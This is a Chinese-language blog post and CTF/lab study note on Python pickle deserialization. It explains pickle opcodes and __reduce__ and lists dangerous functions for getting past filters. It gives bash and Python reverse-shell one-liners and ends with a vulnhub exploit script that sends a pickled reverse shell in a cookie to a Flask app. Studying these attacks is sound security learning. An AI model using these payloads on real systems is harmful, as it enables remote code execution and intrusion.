Python反序列化

python 反序列化

之前突然想起看到过的一道ByteCTF的一个SSRF+python反序列化的问题,感觉之前接触的反序列化大多都是PHP、JAVA为主,相对python接触比较少,因此写下来记录学习一下

python的序列化和反序列化

python的序列化和反序列化主要依赖于pickle库,主要实现了基本的数据序列化和反序列化

主要用到了四个函数

function
dump 对象序列化到文件对象,存入文件
load 对象反序列化,从文件中读取数据
dumps 对象序列化为bytes对象
loads 从bytes将对象反序列化

image-20210409152547887

image-20210409152532516

而上面的字符明显不如PHP序列化得到的字符串可读性较强,因此需要进一步了解这一段序列化字符串的意义,需要了解pickle的原理

Pickle

Pickle更像是一个PVM(PVM就是会把python代码生成字节码写入到.pyc,同时执行进程编译好的字节码),相对轻量级别的PVM大概由下面三个部分组成

  • 指令处理器

    从数据流中读取操作码和参数,不断对栈和标签进行修改,直到碰到.这个结束符号,这时候栈顶的值会被作为反序列化对象返回

  • 借用list列表实现,在不断的进出栈的过程中完成反序列化操作,并在最终生成反序列化的结果

  • 标签

    借助dict字典实现,将反序列化完成的数据以key-value的形式存储,以便于使用

基本上pickle有点类似编译原理,大致分成三个步骤:从对象中提取属性,写入对象的模块名和类名,写入属性的键值对

常见的操作码:

c:读取本行的内容作为模块名,读取下一行的内容作为对象名object,然后将module.object作为可调用对象压入栈中

(:将一个标记对象压入栈中,用于确认命令执行的位置

S:后面跟字符串,PVM读取引号内内容,直到换行符,将读取的内容压栈

t:从栈中弹出数据,弹射顺序和压栈的时候相同,直到弹出左括号

R:将之前压入栈中的元组和可调用对象全部弹出,然后将该元组作为可调用参数的对象并执行该对象 。最后将结果压入到栈中

.:结束反序列化

image-20210409154305675

pickle反序列化漏洞

pickle反序列化漏洞主要是在__reduce__()魔法函数上,类似于PHP的wakeup,另外pickle.loads可以解决import,对于未引用的module都会尝试import

查一下__reduce__函数

image-20210409160133056

大概就是这个函数返回一个元组的时候,第一个时调用的对象,而第二个是被调用的参数

参考Epiccall师傅的例子

import pickle
import os

class Test(object):
	def __reduce__(self):
		cmd = "/usr/bin/id"
		return (os.system,(cmd,))

if __name__ == '__main__':
	test = Test()
	result1 = pickle.dumps(test)
	result2 = pickle.loads(results)

image-20210409160625163

常见会过滤掉一些标准库函数,罗列可能用到的函数方标后面操作

eval, execfile, compile, open, file, map, input,
os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,
os.listdir, os.access,
os.execl, os.execle, os.execlp, os.execlpe, os.execv,
os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,
os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,
pickle.load, pickle.loads,cPickle.load,cPickle.loads,
subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,
commands.getstatusoutput,commands.getoutput,commands.getstatus,
glob.glob,
linecache.getline,
shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,
dircache.listdir,dircache.opendir,
io.open,
popen2.popen2,popen2.popen3,popen2.popen4,
timeit.timeit,timeit.repeat,
sys.call_tracing,
code.interact,code.compile_command,codeop.compile_command,
pty.spawn,
posixfile.open,posixfile.fileopen,
platform.popen

不常见的执行命令的函数

map(__import__('os').system,['bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',])

sys.call_tracing(__import__('os').system,('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',))

platform.popen("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")

vulnhub python unpickle

import pickle
import base64
from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def index():
    try:
        user = base64.b64decode(request.cookies.get('user'))
        user = pickle.loads(user)
        username = user["username"]
    except:
        username = "Guest"

    return "Hello %s" % username

if __name__ == "__main__":
    app.run()

页面效果如下

image-20210409161813055

username就是从cookies.user中取值,base64解码后,反序列化还原user中的username变量

exp.py

dup2重定向套接字的stdin stdout stderr到远程用户

#!/usr/bin/env python3
import requests
import pickle
import os
import base64


class exp(object):
    def __reduce__(self):
        s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",x));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
        return (os.system, (s,))


e = exp()
s = pickle.dumps(e)

response = requests.get("http://x.x.x.x:8000/", cookies=dict(
    user=base64.b64encode(s).decode()
))
print(response.content)

(上面就是官方提供的exp)

posted @ 2021-04-10 18:43  buchiyexiao  阅读(328)  评论(0)    收藏  举报
Live2D